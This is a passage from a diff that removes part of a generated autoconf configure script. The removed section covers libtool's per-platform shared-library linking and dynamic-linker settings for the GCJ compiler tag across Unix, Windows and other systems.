- archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_GCJ='$CC -r -o $output$reload_objs'
- hardcode_direct_GCJ=no
- ;;
- motorola)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4.3*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- export_dynamic_flag_spec_GCJ='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_GCJ=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_GCJ='${wl}-z,text'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_GCJ='${wl}-z,text'
- allow_undefined_flag_GCJ='${wl}-z,nodefs'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_GCJ" >&5
-$as_echo "$ld_shlibs_GCJ" >&6; }
-test "$ld_shlibs_GCJ" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_GCJ" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_GCJ=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_GCJ in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_GCJ
- pic_flag=$lt_prog_compiler_pic_GCJ
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ
- allow_undefined_flag_GCJ=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_GCJ=no
- else
- archive_cmds_need_lc_GCJ=yes
- fi
- allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_GCJ" >&5
-$as_echo "$archive_cmds_need_lc_GCJ" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_GCJ=
-if test -n "$hardcode_libdir_flag_spec_GCJ" || \
- test -n "$runpath_var_GCJ" || \
- test "X$hardcode_automatic_GCJ" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_GCJ" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no &&
- test "$hardcode_minus_L_GCJ" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_GCJ=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_GCJ=immediate
- fi
-else
